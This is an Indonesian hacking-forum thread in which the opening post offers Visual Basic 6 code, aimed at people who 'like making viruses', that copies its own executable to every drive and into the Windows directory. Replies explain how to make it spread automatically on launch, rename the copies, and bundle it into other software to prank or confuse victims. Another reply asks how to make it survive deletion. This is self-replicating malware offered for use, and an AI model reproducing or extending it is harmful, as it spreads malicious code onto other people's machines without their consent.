Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
(VB6) nyebarin file
#1
mw berbagi sedikit hehe.. tapi maaf juga nih klo ada yg pernah ngejelasin (repost) delet aja gapapa Mentok

yg hobi bikin virus bisa pake scrpt ini jadi fungsi nya itu nyebarin file ke flash disk dan ke hardisk hardisk lainnya.
Buat Project baru + buat Button
Paste code ini :

Code:
Private Declare Function GetDriveType Lib "kernel32" _ Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Private Declare Function GetWindowsDirectory _ Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Function DriveType(Drive As String) As String ''////fungsi mengecek drive Dim sAns As String, lAns As Long 'fix bad parameter values If Len(Drive) = 1 Then Drive = Drive = Drive & ":\" If Len(Drive) = 2 And Right$(Drive, 1) = ":" _ Then Drive = Drive & "\" lAns = GetDriveType(Drive) Select Case lAns Case 2 sAns = "Removable Drive" Case 3 sAns = "Fixed Drive" Case 4 sAns = "CD-ROM" Case 6 sAns = "RAM Disk" Case Else sAns = "Drive Doesn't Exist" End Select DriveType = sAns End Function Private Sub kodepengganda() Dim ictr As Integer Dim sDrive As String Dim x As Byte ReDim sDrives(0) As String For ictr = 65 To 90 sDrive = Chr(ictr) & ":\" If DriveType(sDrive) <> "Drive Doesn't Exist" Then On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "tes.exe" End If Next End Sub Private Sub kopikewindows() Dim buffer As String * 255 Dim x As Long x = GetWindowsDirectory(buffer, 255) On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & _ "\tes_di_direktory_windows.exe" End Sub Private Sub Command5_click() kopikewindows kodepengganda MsgBox "Kode Berhasil Dijalankan", 0, "Berhasil" End Sub

Command buton nya ganti jadi Command5 tinggal di kembangkan sesuai keinginan deh
Thanks sebelumnya BahagiaBahagia


Lihat Comment nya juga ya penting itu juga Ganteng
[Image: 120onel.gif]
twitter : @L_Wafi
Reply
#2
manntapp kkk.....mantap nih buat ngerjain orang kwkwkw wakaka

[Image: za_zpseef614c6.png]
Reply
#3
Oke mantab om.. Thanks Ganteng
Quote:
Pensiun Dunia Hacking [ UDAH KAPOK ] - mohon maaf lahir dan batin - yang lalu biarlah berlalu ...
Reply
#4
nice code,,
kalo ada yang maru rubah nama file test.exe nya
bisa ganti di bagian

Code:
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "tes.exe"

inget,, si aplikasi kudu di compailed dulu karena jika belom dia masih belum bisa menduplikasi dirinya ke setiap drive, ini potongan belom ganas, jadi utnuk pembersihannya masih bisa di jangkau dengan manual,
jadi masih aman Bahagia

dan juga ini program ngk bakal jalan jika kita belom mengeklik commandbutonya
jadi kurang baik apa coba ini potongan code dari TS . . . .


sekian
Code:
root@sohai:cat info.txt ~#To all script kiddies ~#changing the "made by" or "recoded by" "coded by" ~#wont make you the coder! ~#Respect the coder! ~#It's all opensource for Development not for plagiarism ~#I am pround to be Underground Coder
Reply
#5
Ohaha gampang ko kalo mau jadi pas kita klik program nya itu langsung nyebar gitu ya tinggal rubah aja bagian

Code:
Private Sub Command5_click()
Dengan

Code:
Private Sub Form_Load()
dan hapus deh buton nya jadi jika kita klik program nya itu langsung nyebar hehe

CheerCheerCheerCheer

oh iya gw lupa untung om sohai ngingetin hehe iya buat ngerubah .exe ada di bagian yg di jelasin sama om sohai dan untuk mengganti nama yang di copykan ke data C bisa di ganti di belah Sini

Code:
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & _ "\tes_di_direktory_windows.exe"

tinggal ganti

Code:
\tes_di_direktory_windows.exe
dengan nama sesuka anda contoh
Code:
\suka_suka_gw_dong.exe


Nahh yang terakhir yg gw bingung itu gimana cara nya biar pas kita hapus tu file langsung bikin lagi di situ gimana ya emm.. BingungBingung om sohai bisa bantu??
[Image: 120onel.gif]
twitter : @L_Wafi
Reply
#6
makasih bro.. Bahagia cucok nih buat digabungin ke software laen, biar pada bingung wakaka

[Image: 467898856656158]
Quote:The closer you look, the less you'll see.
-=[ irc.hacker-newbie.org ]=-
Reply
#7
tombol button cuma 1....
masukin code yg di atas/selesai yakk...
untuk om @sohai klau pake database gmna??gk perlu di eksekusikan
maksud ane,instal aj di drive C: korban,,,begono bisa kn
PHP Code:
ANAK MEDAN
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Membuka File Musik atau Film dengan VB 6.0 Mr.AT 3 177 06-07-2012, 10:06 PM
Last Post: billy_cyber
  [MUST READ] Tolong Kasih Cara Mengubah File Visual Basic 6 menjadi format"exe" A.ivantank 12 111 01-05-2012, 12:13 PM
Last Post: manzcenk
Heart_16 Atribut File dan Antideletion pada Visual Basic E1nzte1N 14 127 12-15-2011, 05:23 PM
Last Post: KhyazGarry

Forum Jump:


Users browsing this thread: 1 Guest(s)